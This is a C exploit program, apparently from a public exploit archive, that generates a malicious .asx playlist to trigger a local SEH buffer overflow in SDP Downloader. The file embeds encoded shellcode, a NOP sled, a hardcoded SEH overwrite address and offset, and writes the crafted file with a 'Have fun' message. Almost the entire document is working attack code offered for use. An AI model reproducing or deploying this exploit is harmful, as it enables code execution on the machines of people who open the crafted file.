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/* SDP-BOF.c * SDP Downloader Local Buffer overflow exploit [SEH] * Credits : Cyber-Zone * Exploit BY : * SimO-s0fT (maroc-anti-connexion@hotmail.com) * Shoot to : Stack & r1z & Str0ke * */ #include <stdio.h> #include <string.h> #include <stdlib.h>
#define OFFSET 529 #define NOP 0x90 char head1[]= "\x3c\x41\x53\x58\x20\x56\x45\x52\x53\x49\x4f\x4e\x3d\x22\x33\x2e" "\x30\x22\x3e\x0d\x0a\x0d\x0a\x3c\x45\x4e\x54\x52\x59\x3e\x3c\x54" "\x49\x54\x4c\x45\x3e\x65\x78\x70\x6c\x6f\x69\x74\x3c\x2f\x54\x49" "\x54\x4c\x45\x3e\x0d\x0a\x3c\x52\x45\x46\x20\x48\x52\x45\x46\x3d" "\x22\x68\x74\x74\x70\x3a\x2f\x2f"; char head2[]= "\x2e\x61\x73\x66\x22\x2f\x3e\x0d\x0a\x3c\x2f\x45\x4e\x54\x52\x59" "\x3e\x3c\x2f\x41\x53\x58\x3e";
char scode[] = "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49" "\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36" "\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34" "\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41" "\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x54" "\x42\x30\x42\x30\x42\x30\x4b\x58\x45\x44\x4e\x43\x4b\x58\x4e\x47" "\x45\x50\x4a\x37\x41\x50\x4f\x4e\x4b\x48\x4f\x34\x4a\x51\x4b\x48" "\x4f\x55\x42\x42\x41\x50\x4b\x4e\x49\x34\x4b\x58\x46\x43\x4b\x38" "\x41\x30\x50\x4e\x41\x33\x42\x4c\x49\x59\x4e\x4a\x46\x38\x42\x4c" "\x46\x57\x47\x30\x41\x4c\x4c\x4c\x4d\x50\x41\x30\x44\x4c\x4b\x4e" "\x46\x4f\x4b\x43\x46\x35\x46\x42\x46\x50\x45\x47\x45\x4e\x4b\x48" "\x4f\x45\x46\x42\x41\x30\x4b\x4e\x48\x36\x4b\x48\x4e\x50\x4b\x34" "\x4b\x58\x4f\x55\x4e\x51\x41\x50\x4b\x4e\x4b\x58\x4e\x31\x4b\x58" "\x41\x30\x4b\x4e\x49\x48\x4e\x55\x46\x32\x46\x50\x43\x4c\x41\x43" "\x42\x4c\x46\x56\x4b\x58\x42\x54\x42\x53\x45\x58\x42\x4c\x4a\x37" "\x4e\x30\x4b\x58\x42\x44\x4e\x30\x4b\x58\x42\x37\x4e\x51\x4d\x4a" "\x4b\x48\x4a\x46\x4a\x30\x4b\x4e\x49\x30\x4b\x38\x42\x48\x42\x4b" "\x42\x50\x42\x50\x42\x50\x4b\x48\x4a\x56\x4e\x53\x4f\x55\x41\x53" "\x48\x4f\x42\x36\x48\x45\x49\x58\x4a\x4f\x43\x38\x42\x4c\x4b\x47" "\x42\x55\x4a\x56\x42\x4f\x4c\x48\x46\x30\x4f\x45\x4a\x56\x4a\x59" "\x50\x4f\x4c\x48\x50\x30\x47\x35\x4f\x4f\x47\x4e\x43\x46\x41\x46" "\x4e\x56\x43\x46\x50\x42\x45\x56\x4a\x57\x45\x56\x42\x30\x5a";
int main(int argc, char *argv[]){ FILE *p; unsigned char *buffer; int n_seh=0x909010eb; int seh=0x7C87DE34; int i=0; if(argc!=2){ fprintf(stdout,"_______________________________________________________________________\n"); fprintf(stdout,"\n\t\t SDP Downloader local Buffer overflow Exploit [seh]\n\n"); printf("\tUSAGE : %s filename.asx\n",argv[0]); fprintf(stdout,"_________________________________________________________________________\n"); } if((p=fopen(argv[1],"w+b"))==NULL){ perror("error"); return EXIT_FAILURE; } buffer=(unsigned char*) malloc(strlen(head1)+OFFSET+4+4+strlen(scode)+10+strlen(head2)); memset(buffer, 0x41, strlen(head1)+OFFSET+4+4+strlen(scode)+10+strlen(head2)); memcpy(buffer,head1, strlen(head1)); i=OFFSET; memcpy(buffer+strlen(head1)+i, &n_seh,4); i+=4; memcpy(buffer+strlen(head1)+i,&seh,4); i+=4; memset(buffer+strlen(head1)+i,0x90,10); i+=10; memcpy(buffer+strlen(head1)+i,scode,strlen(scode)); i+=strlen(scode); memcpy(buffer+strlen(head1)+i,head2,strlen(head2)); i+=strlen(head2);
fputs(buffer,p); fclose(p); printf("%s has benn created !! \n Have fun \n DONE"); return 0x0; }
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